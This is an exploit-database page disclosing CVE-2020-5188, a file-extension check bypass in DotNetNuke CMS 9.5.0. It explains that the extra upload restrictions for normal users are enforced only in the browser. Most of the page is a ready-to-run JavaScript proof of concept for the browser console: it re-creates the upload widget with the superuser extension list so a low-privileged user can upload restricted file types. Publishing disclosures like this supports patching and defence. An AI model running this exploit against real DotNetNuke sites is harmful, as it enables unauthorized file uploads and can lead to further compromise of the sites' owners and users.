DotNetNuke CMS 9.5.0 File Extension Check Bypass

Authored by Sajjad Pourali

Posted Feb 24, 2020

DotNetNuke CMS version 9.5.0 suffers from file extension check bypass vulnerability that allows for arbitrary file upload.

tags | exploit, arbitrary, bypass, file upload
advisories | CVE-2020-5188
SHA-256 | 3ebf9bd3e2a530a983c3320a442ce6dc9f95b838d5b8220e87da6bd1463f660b Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: File upload vulnerability through bypassing client-side file extension check
# Date: 23 Feb 2020
# Exploit Author: Sajjad Pourali
# Vendor Homepage: http://dnnsoftware.com/
# Software Link:
https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip
# Version: <= 9.5
# CVE : CVE-2020-5188
# More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175

The DNN has a file upload module for superuser. As a superuser, you can upload files with the following formats
— "jpg, jpeg, jpe, gif, bmp, png, svg, ttf, eot, woff, doc, docx, xls, xlsx, ppt, pptx, pdf, txt, xml, xsl,
xsd, css, zip, rar, template, htmtemplate, ico, avi, mpg, mpeg, mp3, wmv, mov, wav, mp4, webm, ogv".

As a normal user you are allowed to upload files with "bmp,gif,ico,jpeg,jpg,jpe,png,svg" extensions. The same
file upload module used for superuser is reused for normal users with extra validation for a few additional
extensions e.g. CSS extension is not allowed.

Unfortunately, only for superuser, whitelisted extension check is performed at the server end. For normal
users, extra extension validation is performed at client-side only. Hence, a low privileged normal user can
bypass the client-side validation and upload files with extensions which are allowed only for superuser only.

For example, a normal privileged user can upload a file with extension which is allowed only for superuser, by
executing the following code on a browser's console (in the tab that manages profile's page has opened). This
attack may also be performed using proxy tools such as Burp, ZAP etc.

dnn.createFileUpload({
  "clientId": "dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_FileUploadControl",
  "moduleId": "",
  "parentClientId": null,
  "showOnStartup": true,
  "folderPicker": {
      "selectedItemCss": "selected-item",
      "internalStateFieldId": null,
      "disabled": false,
      "selectItemDefaultText": "",
      "initialState": {
          "selectedItem": {
              "key": "0",
              "value": "My Folder"
          }
      },
      "onSelectionChanged": []
  },
  "maxFileSize": 299892736,
  "maxFiles": 0,
  "extensions": ["jpg", "jpeg", "jpe", "gif", "bmp", "png", "svg", "ttf", "eot", "woff", "doc", "docx", "xls",
"xlsx", "ppt", "pptx", "pdf", "txt", "xml", "xsl", "xsd", "css", "zip", "rar", "template", "htmtemplate",
"ico", "avi", "mpg", "mpeg", "mp3", "wmv", "mov", "wav", "mp4", "webm", "ogv"],
  "resources": {
      "title": "Upload Files",
      "decompressLabel": "Decompress Zip Files",
      "uploadToFolderLabel": "Upload To:",
      "dragAndDropAreaTitle": "Drag files here or click to browse",
      "uploadFileMethod": "Upload File",
      "uploadFromWebMethod": "From URL",
      "closeButtonText": "Close",
      "uploadFromWebButtonText": "Upload",
      "decompressingFile": "Decompressing File",
      "fileIsTooLarge": "File size bigger than 286. Mb",
      "fileUploadCancelled": "Upload cancelled",
      "fileUploadFailed": "Upload failed",
      "fileUploaded": "File uploaded",
      "emptyFileUpload": "Your browser does not support empty file uploads.",
      "fileAlreadyExists": "The file you want to upload already exists in this folder.",
      "uploadStopped": "File upload stopped",
      "urlTooltip": "Enter Resource URL like https://SomeWebSite.com/Images/About.png",
      "keepButtonText": "Keep",
      "replaceButtonText": "Replace",
      "tooManyFiles": "You cannot upload more than {0} file(s) at once.",
      "invalidFileExtensions": "Some selected files with invalid extensions are excluded from upload.  You can
only upload files with the following extensions: bmp, gif, ico, jpeg, jpg, jpe, png, svg.",
      "unzipFilePromptTitle": "Unzip Information",
      "unzipFileFailedPromptBody": "<div class=\"invalidFiles\"><p>[COUNT] of [TOTAL] file(s) were not
extracted because their file types are not supported:</p>[FILELIST]</div>",
      "unzipFileSuccessPromptBody": "<div class=\"validFiles\"><p>[TOTAL] of [TOTAL] file(s) were extracted
successfully.</p></div>",
      "errorDialogTitle": "Error"
  },
  "width": 780,
  "height": 630,
  "folderPath":
dnn.dnnFileUpload.settings.dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_dnnFileUploadScope
  "parameters": {}
});
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

- Spoof (2,166)
- SQL Injection (16,102)
- TCP (2,379)
- Trojan (686)
- UDP (876)
- Virus (662)
- Vulnerability (31,136)
- Web (9,365)
- Whitepaper (3,729)
- x86 (946)
- XSS (17,494)
- Other

- SUSE (1,444)
- Ubuntu (8,199)
- UNIX (9,159)
- UnixWare (185)
- Windows (6,511)
- Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed